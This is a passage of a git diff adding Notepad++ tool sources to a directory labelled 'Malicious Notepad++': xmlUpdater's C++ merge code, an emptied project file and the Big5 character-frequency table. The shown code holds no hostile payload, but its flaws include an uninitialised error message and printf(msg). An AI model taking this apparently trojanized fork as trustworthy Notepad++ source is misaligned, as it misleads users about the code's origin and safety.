modelChildNode; + modelChildNode = modelChildNode->NextSibling("Node")) + { + const char *nodeName = (modelChildNode->ToElement())->Attribute("nodeName"); + const char *name = (modelChildNode->ToElement())->Attribute("name"); + if (nodeName) + { + srcChildNode = srcNode->FirstChild(nodeName); + if (!srcChildNode) continue; + + destChildNode = destNode->FirstChild(nodeName); + if (!destChildNode) + { + //Insertion + destNode->InsertEndChild(*srcChildNode); + continue; + } + if (name && name[0]) + { + srcChildNode = srcNode->FirstChild(nodeName); + while (srcChildNode) + { + const char *attrib = (srcChildNode->ToElement())->Attribute(name); + if (attrib) + { + const char *action = (srcChildNode->ToElement())->Attribute("action"); + bool remove = false; + bool found = false; + + if (action && !strcmp(action, "remove")) + remove = true; + + destChildNode = destNode->FirstChild(nodeName); + while (destChildNode) + { + const char *attribDest = (destChildNode->ToElement())->Attribute(name); + if ((attribDest) && (!strcmp(attrib, attribDest))) + { + found = true; + break; + } + destChildNode = destChildNode->NextSibling(nodeName); + } + if (remove) + { + if (found) destNode->RemoveChild(destChildNode); + } + else + { + if (found) + update(modelChildNode, srcChildNode, destChildNode); + else + destNode->InsertEndChild(*srcChildNode); + } + } + srcChildNode = srcChildNode->NextSibling(nodeName); + } // while srcChildNode + } + } + update(modelChildNode, srcChildNode, destChildNode); + } +}; + + +int main(int argc, char *argv[]) +{ + if (argc != 4) + { + printf("Syntax : xmlUpdater model.xml src.xml dest.xml"); + return -1; + } + + char *xmlModelPath = argv[1]; + char *xmlSrcPath = argv[2]; + char *xmlDestPath = argv[3]; + + //printf("%s\n", xmlModelPath); + //printf("%s\n", xmlSrcPath); + //printf("%s\n", xmlDestPath); + + TiXmlDocument *pXmlModel = NULL; + TiXmlDocument *pXmlSrc = NULL; + TiXmlDocument *pXmlDest = NULL; + + try { + pXmlModel = new TiXmlDocument(xmlModelPath); + bool loadOkay = pXmlModel->LoadFile(); + if (!loadOkay) throw int(MODEL_INVALID); + + pXmlSrc = new TiXmlDocument(xmlSrcPath); + loadOkay = pXmlSrc->LoadFile(); + if (!loadOkay) throw int(SRC_INVALID); + + pXmlDest = new TiXmlDocument(xmlDestPath); + loadOkay = pXmlDest->LoadFile(); + if (!loadOkay) throw int(DEST_INVALID); + + TiXmlNode *root = pXmlModel->FirstChild("Node"); + const char *nodeRootName = (root->ToElement())->Attribute("nodeName"); + if (nodeRootName) + { + TiXmlNode *srcRoot = pXmlSrc->FirstChild(nodeRootName); + if (!srcRoot) throw int(4); + TiXmlNode *destRoot = pXmlDest->FirstChild(nodeRootName); + if (!destRoot) + { + throw int(DEST_INVALID); + } + else + { + update(root, srcRoot, destRoot); + } + } + } catch (int errMsg) { + char *msg; + if (errMsg == MODEL_INVALID) + msg = "Model file is invalidated"; + if (errMsg == SRC_INVALID) + msg = "Source file is invalidated"; + if (errMsg == DEST_INVALID) + msg = "File to update is invalidated"; + + if (pXmlModel) delete pXmlModel; + if (pXmlSrc) delete pXmlSrc; + if (pXmlDest) delete pXmlDest; + + printf(msg); + return -1; + } + + pXmlDest->SaveFile(); + + delete pXmlModel; + delete pXmlSrc; + delete pXmlDest; + printf("Update successful"); + + return 0; +} + +/* +const char FLAG_SILENT[] = "-silent"; + +int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE, LPSTR lpszCmdLine, int nCmdShow) +//int main(int argc, char *argv[]) +{ + bool isSilentMode = isInList(FLAG_SILENT, lpszCmdLine); + + int argc=0; + LPSTR argv[10]; + LPSTR p, q; + + argv[argc] = "xmlUpdater.exe"; + // Parse command line handling quotes. + p = lpszCmdLine; + while (*p) + { + // for each argument + while ((*p) && (*p == ' ')) + p++; // skip over leading spaces + if (*p == '\042') + { + p++; // skip " + q = p; + // scan to end of argument + // doesn't handle embedded quotes + while ((*p) && (*p != '\042')) + p++; + argv[++argc] = q; + if (*p) + *p++ = '\0'; + } + else if (*p) + { + // delimited by spaces + q = p; + while ((*p) && (*p != ' ')) + p++; + argv[++argc] = q; + if (*p) + *p++ = '\0'; + } + } + argv[++argc] = (LPSTR)NULL; + + if (argc < 4) + { + //printf(); + if (!isSilentMode) + MessageBox(NULL, "xmlUpdater model.xml src.xml dest.xml", "Syntax", MB_OK); + return -1; + } + + char *xmlModelPath = argv[1]; + char *xmlSrcPath = argv[2]; + char *xmlDestPath = argv[3]; + + //printf("%s\n", xmlModelPath); + //printf("%s\n", xmlSrcPath); + //printf("%s\n", xmlDestPath); + + TiXmlDocument *pXmlModel = NULL; + TiXmlDocument *pXmlSrc = NULL; + TiXmlDocument *pXmlDest = NULL; + + try { + pXmlModel = new TiXmlDocument(xmlModelPath); + bool loadOkay = pXmlModel->LoadFile(); + if (!loadOkay) throw int(MODEL_INVALID); + + pXmlSrc = new TiXmlDocument(xmlSrcPath); + loadOkay = pXmlSrc->LoadFile(); + if (!loadOkay) throw int(SRC_INVALID); + + pXmlDest = new TiXmlDocument(xmlDestPath); + loadOkay = pXmlDest->LoadFile(); + if (!loadOkay) throw int(DEST_INVALID); + + TiXmlNode *root = pXmlModel->FirstChild("Node"); + const char *nodeRootName = (root->ToElement())->Attribute("nodeName"); + if (nodeRootName) + { + TiXmlNode *srcRoot = pXmlSrc->FirstChild(nodeRootName); + if (!srcRoot) throw int(4); + TiXmlNode *destRoot = pXmlDest->FirstChild(nodeRootName); + if (!destRoot) + { + throw int(DEST_INVALID); + } + else + { + update(root, srcRoot, destRoot); + } + } + } catch (int errMsg) { + char *msg; + if (errMsg == MODEL_INVALID) + msg = "Model file is invalidated"; + if (errMsg == SRC_INVALID) + msg = "Source file is invalidated"; + if (errMsg == DEST_INVALID) + msg = "File to update is invalidated"; + + if (pXmlModel) delete pXmlModel; + if (pXmlSrc) delete pXmlSrc; + if (pXmlDest) delete pXmlDest; + + if (!isSilentMode) + MessageBox(NULL, msg, "Update Failure", MB_OK); + return -1; + } + + pXmlDest->SaveFile(); + + delete pXmlModel; + delete pXmlSrc; + delete pXmlDest; + if (!isSilentMode) + MessageBox(NULL, "Update successful", "Update status", MB_OK); + + return 0; +} +*/ diff --git a/Malicious Notepad++/src/tools/xmlUpdater/xmlUpdater.vcproj b/Malicious Notepad++/src/tools/xmlUpdater/xmlUpdater.vcproj new file mode 100644 index 0000000..ad38fa4 --- /dev/null +++ b/Malicious Notepad++/src/tools/xmlUpdater/xmlUpdater.vcproj @@ -0,0 +1,224 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Malicious Notepad++/src/uchardet/Big5Freq.tab b/Malicious Notepad++/src/uchardet/Big5Freq.tab new file mode 100644 index 0000000..fd6b0e0 --- /dev/null +++ b/Malicious Notepad++/src/uchardet/Big5Freq.tab @@ -0,0 +1,943 @@ +/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is Mozilla Communicator client code. + * + * The Initial Developer of the Original Code is + * Netscape Communications Corporation. + * Portions created by the Initial Developer are Copyright (C) 1998 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ + +// Big5 frequency table +// by Taiwan's Mandarin Promotion Council +// + +/****************************************************************************** + * 128 --> 0.42261 + * 256 --> 0.57851 + * 512 --> 0.74851 + * 1024 --> 0.89384 + * 2048 --> 0.97583 + * + * Idea Distribution Ratio = 0.74851/(1-0.74851) =2.98 + * Random Distribution Ration = 512/(5401-512)=0.105 + * + * Typical Distribution Ratio about 25% of Ideal one, still much higher than RDR + *****************************************************************************/ + +#define BIG5_TYPICAL_DISTRIBUTION_RATIO (float)0.75 + + +//Char to FreqOrder table , +#define BIG5_TABLE_SIZE 5376 + +static const PRInt16 Big5CharToFreqOrder[] = +{ + 1,1801,1506, 255,1431, 198, 9, 82, 6,5008, 177, 202,3681,1256,2821, 110, // 16 +3814, 33,3274, 261, 76, 44,2114, 16,2946,2187,1176, 659,3971, 26,3451,2653, // 32 +1198,3972,3350,4202, 410,2215, 302, 590, 361,1964, 8, 204, 58,4510,5009,1932, // 48 + 63,5010,5011, 317,1614, 75, 222, 159,4203,2417,1480,5012,3555,3091, 224,2822, // 64 +3682, 3, 10,3973,1471, 29,2787,1135,2866,1940, 873, 130,3275,1123, 312,5013, // 80 +4511,2052, 507, 252, 682,5014, 142,1915, 124, 206,2947, 34,3556,3204, 64, 604, // 96 +5015,2501,1977,1978, 155,1991, 645, 641,1606,5016,3452, 337, 72, 406,5017, 80, // 112 + 630, 238,3205,1509, 263, 939,1092,2654, 756,1440,1094,3453, 449, 69,2987, 591, // 128 + 179,2096, 471, 115,2035,1844, 60, 50,2988, 134, 806,1869, 734,2036,3454, 180, // 144 + 995,1607, 156, 537,2907, 688,5018, 319,1305, 779,2145, 514,2379, 298,4512, 359, // 160 +2502, 90,2716,1338, 663, 11, 906,1099,2553, 20,2441, 182, 532,1716,5019, 732, // 176 +1376,4204,1311,1420,3206, 25,2317,1056, 113, 399, 382,1950, 242,3455,2474, 529, // 192 +3276, 475,1447,3683,5020, 117, 21, 656, 810,1297,2300,2334,3557,5021, 126,4205, // 208 + 706, 456, 150, 613,4513, 71,1118,2037,4206, 145,3092, 85, 835, 486,2115,1246, // 224 +1426, 428, 727,1285,1015, 800, 106, 623, 303,1281,5022,2128,2359, 347,3815, 221, // 240 +3558,3135,5023,1956,1153,4207, 83, 296,1199,3093, 192, 624, 93,5024, 822,1898, // 256 +2823,3136, 795,2065, 991,1554,1542,1592, 27, 43,2867, 859, 139,1456, 860,4514, // 272 + 437, 712,3974, 164,2397,3137, 695, 211,3037,2097, 195,3975,1608,3559,3560,3684, // 288 +3976, 234, 811,2989,2098,3977,2233,1441,3561,1615,2380, 668,2077,1638, 305, 228, // 304 +1664,4515, 467, 415,5025, 262,2099,1593, 239, 108, 300, 200,1033, 512,1247,2078, // 320 +5026,5027,2176,3207,3685,2682, 593, 845,1062,3277, 88,1723,2038,3978,1951, 212, // 336 + 266, 152, 149, 468,1899,4208,4516, 77, 187,5028,3038, 37, 5,2990,5029,3979, // 352 +5030,5031, 39,2524,4517,2908,3208,2079, 55, 148, 74,4518, 545, 483,1474,1029, // 368 +1665, 217,1870,1531,3138,1104,2655,4209, 24, 172,3562, 900,3980,3563,3564,4519, // 384 + 32,1408,2824,1312, 329, 487,2360,2251,2717, 784,2683, 4,3039,3351,1427,1789, // 400 + 188, 109, 499,5032,3686,1717,1790, 888,1217,3040,4520,5033,3565,5034,3352,1520, // 416 +3687,3981, 196,1034, 775,5035,5036, 929,1816, 249, 439, 38,5037,1063,5038, 794, // 432 +3982,1435,2301, 46, 178,3278,2066,5039,2381,5040, 214,1709,4521, 804, 35, 707, // 448 + 324,3688,1601,2554, 140, 459,4210,5041,5042,1365, 839, 272, 978,2262,2580,3456, // 464 +2129,1363,3689,1423, 697, 100,3094, 48, 70,1231, 495,3139,2196,5043,1294,5044, // 480 +2080, 462, 586,1042,3279, 853, 256, 988, 185,2382,3457,1698, 434,1084,5045,3458, // 496 + 314,2625,2788,4522,2335,2336, 569,2285, 637,1817,2525, 757,1162,1879,1616,3459, // 512 + 287,1577,2116, 768,4523,1671,2868,3566,2526,1321,3816, 909,2418,5046,4211, 933, // 528 +3817,4212,2053,2361,1222,4524, 765,2419,1322, 786,4525,5047,1920,1462,1677,2909, // 544 +1699,5048,4526,1424,2442,3140,3690,2600,3353,1775,1941,3460,3983,4213, 309,1369, // 560 +1130,2825, 364,2234,1653,1299,3984,3567,3985,3986,2656, 525,1085,3041, 902,2001, // 576 +1475, 964,4527, 421,1845,1415,1057,2286, 940,1364,3141, 376,4528,4529,1381, 7, // 592 +2527, 983,2383, 336,1710,2684,1846, 321,3461, 559,1131,3042,2752,1809,1132,1313, // 608 + 265,1481,1858,5049, 352,1203,2826,3280, 167,1089, 420,2827, 776, 792,1724,3568, // 624 +4214,2443,3281,5050,4215,5051, 446, 229, 333,2753, 901,3818,1200,1557,4530,2657, // 640 +1921, 395,2754,2685,3819,4216,1836, 125, 916,3209,2626,4531,5052,5053,3820,5054, // 656 +5055,5056,4532,3142,3691,1133,2555,1757,3462,1510,2318,1409,3569,5057,2146, 438, // 672 +2601,2910,2384,3354,1068, 958,3043, 461, 311,2869,2686,4217,1916,3210,4218,1979, // 688 + 383, 750,2755,2627,4219, 274, 539, 385,1278,1442,5058,1154,1965, 384, 561, 210, // 704 + 98,1295,2556,3570,5059,1711,2420,1482,3463,3987,2911,1257, 129,5060,3821, 642, // 720 + 523,2789,2790,2658,5061, 141,2235,1333, 68, 176, 441, 876, 907,4220, 603,2602, // 736 + 710, 171,3464, 404, 549, 18,3143,2398,1410,3692,1666,5062,3571,4533,2912,4534, // 752 +5063,2991, 368,5064, 146, 366, 99, 871,3693,1543, 748, 807,1586,1185, 22,2263, // 768 + 379,3822,3211,5065,3212, 505,1942,2628,1992,1382,2319,5066, 380,2362, 218, 702, // 784 +1818,1248,3465,3044,3572,3355,3282,5067,2992,3694, 930,3283,3823,5068, 59,5069, // 800 + 585, 601,4221, 497,3466,1112,1314,4535,1802,5070,1223,1472,2177,5071, 749,1837, // 816 + 690,1900,3824,1773,3988,1476, 429,1043,1791,2236,2117, 917,4222, 447,1086,1629, // 832 +5072, 556,5073,5074,2021,1654, 844,1090, 105, 550, 966,1758,2828,1008,1783, 686, // 848 +1095,5075,2287, 793,1602,5076,3573,2603,4536,4223,2948,2302,4537,3825, 980,2503, // 864 + 544, 353, 527,4538, 908,2687,2913,5077, 381,2629,1943,1348,5078,1341,1252, 560, // 880 +3095,5079,3467,2870,5080,2054, 973, 886,2081, 143,4539,5081,5082, 157,3989, 496, // 896 +4224, 57, 840, 540,2039,4540,4541,3468,2118,1445, 970,2264,1748,1966,2082,4225, // 912 +3144,1234,1776,3284,2829,3695, 773,1206,2130,1066,2040,1326,3990,1738,1725,4226, // 928 + 279,3145, 51,1544,2604, 423,1578,2131,2067, 173,4542,1880,5083,5084,1583, 264, // 944 + 610,3696,4543,2444, 280, 154,5085,5086,5087,1739, 338,1282,3096, 693,2871,1411, // 960 +1074,3826,2445,5088,4544,5089,5090,1240, 952,2399,5091,2914,1538,2688, 685,1483, // 976 +4227,2475,1436, 953,4228,2055,4545, 671,2400, 79,4229,2446,3285, 608, 567,2689, // 992 +3469,4230,4231,1691, 393,1261,1792,2401,5092,4546,5093,5094,5095,5096,1383,1672, // 1008 +3827,3213,1464, 522,1119, 661,1150, 216, 675,4547,3991,1432,3574, 609,4548,2690, // 1024 +2402,5097,5098,5099,4232,3045, 0,5100,2476, 315, 231,2447, 301,3356,4549,2385, // 1040 +5101, 233,4233,3697,1819,4550,4551,5102, 96,1777,1315,2083,5103, 257,5104,1810, // 1056 +3698,2718,1139,1820,4234,2022,1124,2164,2791,1778,2659,5105,3097, 363,1655,3214, // 1072 +5106,2993,5107,5108,5109,3992,1567,3993, 718, 103,3215, 849,1443, 341,3357,2949, // 1088 +1484,5110,1712, 127, 67, 339,4235,2403, 679,1412, 821,5111,5112, 834, 738, 351, // 1104 +2994,2147, 846, 235,1497,1881, 418,1993,3828,2719, 186,1100,2148,2756,3575,1545, // 1120 +1355,2950,2872,1377, 583,3994,4236,2581,2995,5113,1298,3699,1078,2557,3700,2363, // 1136 + 78,3829,3830, 267,1289,2100,2002,1594,4237, 348, 369,1274,2197,2178,1838,4552, // 1152 +1821,2830,3701,2757,2288,2003,4553,2951,2758, 144,3358, 882,4554,3995,2759,3470, // 1168 +4555,2915,5114,4238,1726, 320,5115,3996,3046, 788,2996,5116,2831,1774,1327,2873, // 1184 +3997,2832,5117,1306,4556,2004,1700,3831,3576,2364,2660, 787,2023, 506, 824,3702, // 1200 + 534, 323,4557,1044,3359,2024,1901, 946,3471,5118,1779,1500,1678,5119,1882,4558, // 1216 + 165, 243,4559,3703,2528, 123, 683,4239, 764,4560, 36,3998,1793, 589,2916, 816, // 1232 + 626,1667,3047,2237,1639,1555,1622,3832,3999,5120,4000,2874,1370,1228,1933, 891, // 1248 +2084,2917, 304,4240,5121, 292,2997,2720,3577, 691,2101,4241,1115,4561, 118, 662, // 1264 +5122, 611,1156, 854,2386,1316,2875, 2, 386, 515,2918,5123,5124,3286, 868,2238, // 1280 +1486, 855,2661, 785,2216,3048,5125,1040,3216,3578,5126,3146, 448,5127,1525,5128, // 1296 +2165,4562,5129,3833,5130,4242,2833,3579,3147, 503, 818,4001,3148,1568, 814, 676, // 1312 +1444, 306,1749,5131,3834,1416,1030, 197,1428, 805,2834,1501,4563,5132,5133,5134, // 1328 +1994,5135,4564,5136,5137,2198, 13,2792,3704,2998,3149,1229,1917,5138,3835,2132, // 1344 +5139,4243,4565,2404,3580,5140,2217,1511,1727,1120,5141,5142, 646,3836,2448, 307, // 1360 +5143,5144,1595,3217,5145,5146,5147,3705,1113,1356,4002,1465,2529,2530,5148, 519, // 1376 +5149, 128,2133, 92,2289,1980,5150,4003,1512, 342,3150,2199,5151,2793,2218,1981, // 1392 +3360,4244, 290,1656,1317, 789, 827,2365,5152,3837,4566, 562, 581,4004,5153, 401, // 1408 +4567,2252, 94,4568,5154,1399,2794,5155,1463,2025,4569,3218,1944,5156, 828,1105, // 1424 +4245,1262,1394,5157,4246, 605,4570,5158,1784,2876,5159,2835, 819,2102, 578,2200, // 1440 +2952,5160,1502, 436,3287,4247,3288,2836,4005,2919,3472,3473,5161,2721,2320,5162, // 1456 +5163,2337,2068, 23,4571, 193, 826,3838,2103, 699,1630,4248,3098, 390,1794,1064, // 1472 +3581,5164,1579,3099,3100,1400,5165,4249,1839,1640,2877,5166,4572,4573, 137,4250, // 1488 + 598,3101,1967, 780, 104, 974,2953,5167, 278, 899, 253, 402, 572, 504, 493,1339, // 1504 +5168,4006,1275,4574,2582,2558,5169,3706,3049,3102,2253, 565,1334,2722, 863, 41, // 1520 +5170,5171,4575,5172,1657,2338, 19, 463,2760,4251, 606,5173,2999,3289,1087,2085, // 1536 +1323,2662,3000,5174,1631,1623,1750,4252,2691,5175,2878, 791,2723,2663,2339, 232, // 1552 +2421,5176,3001,1498,5177,2664,2630, 755,1366,3707,3290,3151,2026,1609, 119,1918, // 1568 +3474, 862,1026,4253,5178,4007,3839,4576,4008,4577,2265,1952,2477,5179,1125, 817, // 1584 +4254,4255,4009,1513,1766,2041,1487,4256,3050,3291,2837,3840,3152,5180,5181,1507, // 1600 +5182,2692, 733, 40,1632,1106,2879, 345,4257, 841,2531, 230,4578,3002,1847,3292, // 1616 +3475,5183,1263, 986,3476,5184, 735, 879, 254,1137, 857, 622,1300,1180,1388,1562, // 1632 +4010,4011,2954, 967,2761,2665,1349, 592,2134,1692,3361,3003,1995,4258,1679,4012, // 1648 +1902,2188,5185, 739,3708,2724,1296,1290,5186,4259,2201,2202,1922,1563,2605,2559, // 1664 +1871,2762,3004,5187, 435,5188, 343,1108, 596, 17,1751,4579,2239,3477,3709,5189, // 1680 +4580, 294,3582,2955,1693, 477, 979, 281,2042,3583, 643,2043,3710,2631,2795,2266, // 1696 +1031,2340,2135,2303,3584,4581, 367,1249,2560,5190,3585,5191,4582,1283,3362,2005, // 1712 + 240,1762,3363,4583,4584, 836,1069,3153, 474,5192,2149,2532, 268,3586,5193,3219, // 1728 +1521,1284,5194,1658,1546,4260,5195,3587,3588,5196,4261,3364,2693,1685,4262, 961, // 1744 +1673,2632, 190,2006,2203,3841,4585,4586,5197, 570,2504,3711,1490,5198,4587,2633, // 1760 +3293,1957,4588, 584,1514, 396,1045,1945,5199,4589,1968,2449,5200,5201,4590,4013, // 1776 + 619,5202,3154,3294, 215,2007,2796,2561,3220,4591,3221,4592, 763,4263,3842,4593, // 1792 +5203,5204,1958,1767,2956,3365,3712,1174, 452,1477,4594,3366,3155,5205,2838,1253, // 1808 +2387,2189,1091,2290,4264, 492,5206, 638,1169,1825,2136,1752,4014, 648, 926,1021, // 1824 +1324,4595, 520,4596, 997, 847,1007, 892,4597,3843,2267,1872,3713,2405,1785,4598, // 1840 +1953,2957,3103,3222,1728,4265,2044,3714,4599,2008,1701,3156,1551, 30,2268,4266, // 1856 +5207,2027,4600,3589,5208, 501,5209,4267, 594,3478,2166,1822,3590,3479,3591,3223, // 1872 + 829,2839,4268,5210,1680,3157,1225,4269,5211,3295,4601,4270,3158,2341,5212,4602, // 1888 +4271,5213,4015,4016,5214,1848,2388,2606,3367,5215,4603, 374,4017, 652,4272,4273, // 1904 + 375,1140, 798,5216,5217,5218,2366,4604,2269, 546,1659, 138,3051,2450,4605,5219, // 1920 +2254, 612,1849, 910, 796,3844,1740,1371, 825,3845,3846,5220,2920,2562,5221, 692, // 1936 + 444,3052,2634, 801,4606,4274,5222,1491, 244,1053,3053,4275,4276, 340,5223,4018, // 1952 +1041,3005, 293,1168, 87,1357,5224,1539, 959,5225,2240, 721, 694,4277,3847, 219, // 1968 +1478, 644,1417,3368,2666,1413,1401,1335,1389,4019,5226,5227,3006,2367,3159,1826, // 1984 + 730,1515, 184,2840, 66,4607,5228,1660,2958, 246,3369, 378,1457, 226,3480, 975, // 2000 +4020,2959,1264,3592, 674, 696,5229, 163,5230,1141,2422,2167, 713,3593,3370,4608, // 2016 +4021,5231,5232,1186, 15,5233,1079,1070,5234,1522,3224,3594, 276,1050,2725, 758, // 2032 +1126, 653,2960,3296,5235,2342, 889,3595,4022,3104,3007, 903,1250,4609,4023,3481, // 2048 +3596,1342,1681,1718, 766,3297, 286, 89,2961,3715,5236,1713,5237,2607,3371,3008, // 2064 +5238,2962,2219,3225,2880,5239,4610,2505,2533, 181, 387,1075,4024, 731,2190,3372, // 2080 +5240,3298, 310, 313,3482,2304, 770,4278, 54,3054, 189,4611,3105,3848,4025,5241, // 2096 +1230,1617,1850, 355,3597,4279,4612,3373, 111,4280,3716,1350,3160,3483,3055,4281, // 2112 +2150,3299,3598,5242,2797,4026,4027,3009, 722,2009,5243,1071, 247,1207,2343,2478, // 2128 +1378,4613,2010, 864,1437,1214,4614, 373,3849,1142,2220, 667,4615, 442,2763,2563, // 2144 +3850,4028,1969,4282,3300,1840, 837, 170,1107, 934,1336,1883,5244,5245,2119,4283, // 2160 +2841, 743,1569,5246,4616,4284, 582,2389,1418,3484,5247,1803,5248, 357,1395,1729, // 2176 +3717,3301,2423,1564,2241,5249,3106,3851,1633,4617,1114,2086,4285,1532,5250, 482, // 2192 +2451,4618,5251,5252,1492, 833,1466,5253,2726,3599,1641,2842,5254,1526,1272,3718, // 2208 +4286,1686,1795, 416,2564,1903,1954,1804,5255,3852,2798,3853,1159,2321,5256,2881, // 2224 +4619,1610,1584,3056,2424,2764, 443,3302,1163,3161,5257,5258,4029,5259,4287,2506, // 2240 +3057,4620,4030,3162,2104,1647,3600,2011,1873,4288,5260,4289, 431,3485,5261, 250, // 2256 + 97, 81,4290,5262,1648,1851,1558, 160, 848,5263, 866, 740,1694,5264,2204,2843, // 2272 +3226,4291,4621,3719,1687, 950,2479, 426, 469,3227,3720,3721,4031,5265,5266,1188, // 2288 + 424,1996, 861,3601,4292,3854,2205,2694, 168,1235,3602,4293,5267,2087,1674,4622, // 2304 +3374,3303, 220,2565,1009,5268,3855, 670,3010, 332,1208, 717,5269,5270,3603,2452, // 2320 +4032,3375,5271, 513,5272,1209,2882,3376,3163,4623,1080,5273,5274,5275,5276,2534, // 2336 +3722,3604, 815,1587,4033,4034,5277,3605,3486,3856,1254,4624,1328,3058,1390,4035, // 2352 +1741,4036,3857,4037,5278, 236,3858,2453,3304,5279,5280,3723,3859,1273,3860,4625, // 2368 +5281, 308,5282,4626, 245,4627,1852,2480,1307,2583, 430, 715,2137,2454,5283, 270, // 2384 + 199,2883,4038,5284,3606,2727,1753, 761,1754, 725,1661,1841,4628,3487,3724,5285, // 2400 +5286, 587, 14,3305, 227,2608, 326, 480,2270, 943,2765,3607, 291, 650,1884,5287, // 2416 +1702,1226, 102,1547, 62,3488, 904,4629,3489,1164,4294,5288,5289,1224,1548,2766, // 2432 + 391, 498,1493,5290,1386,1419,5291,2056,1177,4630, 813, 880,1081,2368, 566,1145, // 2448 +4631,2291,1001,1035,2566,2609,2242, 394,1286,5292,5293,2069,5294, 86,1494,1730, // 2464 +4039, 491,1588, 745, 897,2963, 843,3377,4040,2767,2884,3306,1768, 998,2221,2070, // 2480 + 397,1827,1195,1970,3725,3011,3378, 284,5295,3861,2507,2138,2120,1904,5296,4041, // 2496 +2151,4042,4295,1036,3490,1905, 114,2567,4296, 209,1527,5297,5298,2964,2844,2635, // 2512 +2390,2728,3164, 812,2568,5299,3307,5300,1559, 737,1885,3726,1210, 885, 28,2695, // 2528 +3608,3862,5301,4297,1004,1780,4632,5302, 346,1982,2222,2696,4633,3863,1742, 797, // 2544 +1642,4043,1934,1072,1384,2152, 896,4044,3308,3727,3228,2885,3609,5303,2569,1959, // 2560 +4634,2455,1786,5304,5305,5306,4045,4298,1005,1308,3728,4299,2729,4635,4636,1528, // 2576 +2610, 161,1178,4300,1983, 987,4637,1101,4301, 631,4046,1157,3229,2425,1343,1241, // 2592 +1016,2243,2570, 372, 877,2344,2508,1160, 555,1935, 911,4047,5307, 466,1170, 169, // 2608 +1051,2921,2697,3729,2481,3012,1182,2012,2571,1251,2636,5308, 992,2345,3491,1540, // 2624 +2730,1201,2071,2406,1997,2482,5309,4638, 528,1923,2191,1503,1874,1570,2369,3379, // 2640 +3309,5310, 557,1073,5311,1828,3492,2088,2271,3165,3059,3107, 767,3108,2799,4639, // 2656 +1006,4302,4640,2346,1267,2179,3730,3230, 778,4048,3231,2731,1597,2667,5312,4641, // 2672 +5313,3493,5314,5315,5316,3310,2698,1433,3311, 131, 95,1504,4049, 723,4303,3166, // 2688 +1842,3610,2768,2192,4050,2028,2105,3731,5317,3013,4051,1218,5318,3380,3232,4052, // 2704 +4304,2584, 248,1634,3864, 912,5319,2845,3732,3060,3865, 654, 53,5320,3014,5321, // 2720 +1688,4642, 777,3494,1032,4053,1425,5322, 191, 820,2121,2846, 971,4643, 931,3233, // 2736 + 135, 664, 783,3866,1998, 772,2922,1936,4054,3867,4644,2923,3234, 282,2732, 640, // 2752 +1372,3495,1127, 922, 325,3381,5323,5324, 711,2045,5325,5326,4055,2223,2800,1937, // 2768 +4056,3382,2224,2255,3868,2305,5327,4645,3869,1258,3312,4057,3235,2139,2965,4058, // 2784 +4059,5328,2225, 258,3236,4646, 101,1227,5329,3313,1755,5330,1391,3314,5331,2924, // 2800 +2057, 893,5332,5333,5334,1402,4305,2347,5335,5336,3237,3611,5337,5338, 878,1325, // 2816 +1781,2801,4647, 259,1385,2585, 744,1183,2272,4648,5339,4060,2509,5340, 684,1024, // 2832 +4306,5341, 472,3612,3496,1165,3315,4061,4062, 322,2153, 881, 455,1695,1152,1340, // 2848 + 660, 554,2154,4649,1058,4650,4307, 830,1065,3383,4063,4651,1924,5342,1703,1919, // 2864 +5343, 932,2273, 122,5344,4652, 947, 677,5345,3870,2637, 297,1906,1925,2274,4653, // 2880 +2322,3316,5346,5347,4308,5348,4309, 84,4310, 112, 989,5349, 547,1059,4064, 701, // 2896 +3613,1019,5350,4311,5351,3497, 942, 639, 457,2306,2456, 993,2966, 407, 851, 494, // 2912 +4654,3384, 927,5352,1237,5353,2426,3385, 573,4312, 680, 921,2925,1279,1875, 285, // 2928 + 790,1448,1984, 719,2168,5354,5355,4655,4065,4066,1649,5356,1541, 563,5357,1077, // 2944 +5358,3386,3061,3498, 511,3015,4067,4068,3733,4069,1268,2572,3387,3238,4656,4657, // 2960 +5359, 535,1048,1276,1189,2926,2029,3167,1438,1373,2847,2967,1134,2013,5360,4313, // 2976 +1238,2586,3109,1259,5361, 700,5362,2968,3168,3734,4314,5363,4315,1146,1876,1907, // 2992 +4658,2611,4070, 781,2427, 132,1589, 203, 147, 273,2802,2407, 898,1787,2155,4071, // 3008 +4072,5364,3871,2803,5365,5366,4659,4660,5367,3239,5368,1635,3872, 965,5369,1805, // 3024 +2699,1516,3614,1121,1082,1329,3317,4073,1449,3873, 65,1128,2848,2927,2769,1590, // 3040 +3874,5370,5371, 12,2668, 45, 976,2587,3169,4661, 517,2535,1013,1037,3240,5372, // 3056 +3875,2849,5373,3876,5374,3499,5375,2612, 614,1999,2323,3877,3110,2733,2638,5376, // 3072 +2588,4316, 599,1269,5377,1811,3735,5378,2700,3111, 759,1060, 489,1806,3388,3318, // 3088 +1358,5379,5380,2391,1387,1215,2639,2256, 490,5381,5382,4317,1759,2392,2348,5383, // 3104 +4662,3878,1908,4074,2640,1807,3241,4663,3500,3319,2770,2349, 874,5384,5385,3501, // 3120 +3736,1859, 91,2928,3737,3062,3879,4664,5386,3170,4075,2669,5387,3502,1202,1403, // 3136 +3880,2969,2536,1517,2510,4665,3503,2511,5388,4666,5389,2701,1886,1495,1731,4076, // 3152 